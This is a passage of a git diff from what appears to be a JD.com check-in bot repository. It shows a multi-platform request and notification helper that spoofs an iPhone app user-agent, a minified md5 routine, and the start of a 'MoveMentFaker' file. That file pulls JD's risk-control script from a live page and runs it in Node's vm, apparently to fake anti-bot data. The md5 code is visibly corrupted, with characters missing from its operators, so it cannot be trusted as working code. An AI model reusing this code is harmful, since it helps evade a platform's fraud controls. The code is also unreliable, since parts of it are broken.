openUrl = rawopts['open-url'] || rawopts.url || rawopts.openUrl + let mediaUrl = rawopts['media-url'] || rawopts.mediaUrl + return { + 'open-url': openUrl, + 'media-url': mediaUrl + } + } else if (isSurge) { + let openUrl = rawopts.url || rawopts.openUrl || rawopts['open-url'] + return { + url: openUrl + } + } + } else { + return undefined + } + } + console.log(`${title}\n${subtitle}\n${message}`) + if (isQuanX) $notify(title, subtitle, message, Opts(rawopts)) + if (isSurge) $notification.post(title, subtitle, message, Opts(rawopts)) + if (isJSBox) $push.schedule({ + title: title, + body: subtitle ? subtitle + "\n" + message : message + }) + } + const write = (value, key) => { + if (isQuanX) return $prefs.setValueForKey(value, key) + if (isSurge) return $persistentStore.write(value, key) + if (isNode) { + try { + if (!node.fs.existsSync(node.path.resolve(__dirname, NodeSet))) + node.fs.writeFileSync(node.path.resolve(__dirname, NodeSet), JSON.stringify({})); + const dataValue = JSON.parse(node.fs.readFileSync(node.path.resolve(__dirname, NodeSet))); + if (value) dataValue[key] = value; + if (!value) delete dataValue[key]; + return node.fs.writeFileSync(node.path.resolve(__dirname, NodeSet), JSON.stringify(dataValue)); + } catch (er) { + return AnError('Node.js持久化写入', null, er); + } + } + if (isJSBox) { + if (!value) return $file.delete(`shared://${key}.txt`); + return $file.write({ + data: $data({ + string: value + }), + path: `shared://${key}.txt` + }) + } + } + const read = (key) => { + if (isQuanX) return $prefs.valueForKey(key) + if (isSurge) return $persistentStore.read(key) + if (isNode) { + try { + if (!node.fs.existsSync(node.path.resolve(__dirname, NodeSet))) return null; + const dataValue = JSON.parse(node.fs.readFileSync(node.path.resolve(__dirname, NodeSet))) + return dataValue[key] + } catch (er) { + return AnError('Node.js持久化读取', null, er) + } + } + if (isJSBox) { + if (!$file.exists(`shared://${key}.txt`)) return null; + return $file.read(`shared://${key}.txt`).string + } + } + const adapterStatus = (response) => { + if (response) { + if (response.status) { + response["statusCode"] = response.status + } else if (response.statusCode) { + response["status"] = response.statusCode + } + } + return response + } + const get = (options, callback) => { + options.headers['User-Agent'] = 'JD4iPhone/167169 (iPhone; iOS 13.4.1; Scale/3.00)' + if (isQuanX) { + if (typeof options == "string") options = { + url: options + } + options["method"] = "GET" + //options["opts"] = { + // "hints": false + //} + $task.fetch(options).then(response => { + callback(null, adapterStatus(response), response.body) + }, reason => callback(reason.error, null, null)) + } + if (isSurge) { + options.headers['X-Surge-Skip-Scripting'] = false + $httpClient.get(options, (error, response, body) => { + callback(error, adapterStatus(response), body) + }) + } + if (isNode) { + node.request(options, (error, response, body) => { + callback(error, adapterStatus(response), body) + }) + } + if (isJSBox) { + if (typeof options == "string") options = { + url: options + } + options["header"] = options["headers"] + options["handler"] = function(resp) { + let error = resp.error; + if (error) error = JSON.stringify(resp.error) + let body = resp.data; + if (typeof body == "object") body = JSON.stringify(resp.data); + callback(error, adapterStatus(resp.response), body) + }; + $http.get(options); + } + } + const post = (options, callback) => { + options.headers['User-Agent'] = 'JD4iPhone/167169 (iPhone; iOS 13.4.1; Scale/3.00)' + if (options.body) options.headers['Content-Type'] = 'application/x-www-form-urlencoded' + if (isQuanX) { + if (typeof options == "string") options = { + url: options + } + options["method"] = "POST" + //options["opts"] = { + // "hints": false + //} + $task.fetch(options).then(response => { + callback(null, adapterStatus(response), response.body) + }, reason => callback(reason.error, null, null)) + } + if (isSurge) { + options.headers['X-Surge-Skip-Scripting'] = false + $httpClient.post(options, (error, response, body) => { + callback(error, adapterStatus(response), body) + }) + } + if (isNode) { + node.request.post(options, (error, response, body) => { + callback(error, adapterStatus(response), body) + }) + } + if (isJSBox) { + if (typeof options == "string") options = { + url: options + } + options["header"] = options["headers"] + options["handler"] = function(resp) { + let error = resp.error; + if (error) error = JSON.stringify(resp.error) + let body = resp.data; + if (typeof body == "object") body = JSON.stringify(resp.data) + callback(error, adapterStatus(resp.response), body) + } + $http.post(options); + } + } + const AnError = (name, keyname, er, resp, body) => { + if (typeof(merge) != "undefined" && keyname) { + if (!merge[keyname].notify) { + merge[keyname].notify = `${name}: 异常, 已输出日志 ‼️` + } else { + merge[keyname].notify += `\n${name}: 异常, 已输出日志 ‼️ (2)` + } + merge[keyname].error = 1 + } + return console.log(`\n‼️${name}发生错误\n‼️名称: ${er.name}\n‼️描述: ${er.message}${JSON.stringify(er).match(/\"line\"/)?`\n‼️行列: ${JSON.stringify(er)}`:``}${resp&&resp.status?`\n‼️状态: ${resp.status}`:``}${body?`\n‼️响应: ${resp&&resp.status!=503?body:`Omit.`}`:``}`) + } + const time = () => { + const end = ((Date.now() - start) / 1000).toFixed(2) + return console.log('\n签到用时: ' + end + ' 秒') + } + const done = (value = {}) => { + if (isQuanX) return $done(value) + if (isSurge) isRequest ? $done(value) : $done() + } + return { + AnError, + isRequest, + isJSBox, + isSurge, + isQuanX, + isLoon, + isNode, + notify, + write, + read, + get, + post, + time, + done + } +}; +// md5 +!function(n){function t(n,t){var r=(65535&n)+(65535&t);return(n>>16)+(t>>16)+(r>>16)<<16|65535&r}function r(n,t){return n<>>32-t}function e(n,e,o,u,c,f){return t(r(t(t(e,n),t(u,f)),c),o)}function o(n,t,r,o,u,c,f){return e(t&r|~t&o,n,t,u,c,f)}function u(n,t,r,o,u,c,f){return e(t&o|r&~o,n,t,u,c,f)}function c(n,t,r,o,u,c,f){return e(t^r^o,n,t,u,c,f)}function f(n,t,r,o,u,c,f){return e(r^(t|~o),n,t,u,c,f)}function i(n,r){n[r>>5]|=128<>>9<<4)]=r;var e,i,a,d,h,l=1732584193,g=-271733879,v=-1732584194,m=271733878;for(e=0;e>5]>>>t%32&255)}return r}function d(n){var t,r=[];for(r[(n.length>>2)-1]=void 0,t=0;t>5]|=(255&n.charCodeAt(t/8))<16&&(o=i(o,8*n.length)),r=0;r<16;r+=1){u[r]=909522486^o[r],c[r]=1549556828^o[r]}return e=i(u.concat(d(t)),512+8*t.length),a(i(c.concat(e),640))}function g(n){var t,r,e="";for(r=0;r>>4&15)+"0123456789abcdef".charAt(15&t)}return e}function v(n){return unescape(encodeURIComponent(n))}function m(n){return h(v(n))}function p(n){return g(m(n))}function s(n,t){return l(v(n),v(t))}function C(n,t){return g(s(n,t))}function A(n,t,r){return t?r?s(t,n):C(t,n):r?m(n):p(n)}md5=A}(this); diff --git a/utils/MoveMentFaker.js b/utils/MoveMentFaker.js new file mode 100644 index 0000000..de7eb4c --- /dev/null +++ b/utils/MoveMentFaker.js @@ -0,0 +1,139 @@ +const https = require('https'); +const fs = require('fs/promises'); +const { R_OK } = require('fs').constants; +const vm = require('vm'); +const UA = require('../USER_AGENTS.js').USER_AGENT; + +const URL = 'https://wbbny.m.jd.com/babelDiy/Zeus/2rtpffK8wqNyPBH6wyUDuBKoAbCt/index.html'; +// const REG_MODULE = /(\d+)\:function\(.*(?=smashUtils\.get_risk_result)/gm; +const SYNTAX_MODULE = '!function(n){var r={};function o(e){if(r[e])'; +const REG_SCRIPT = /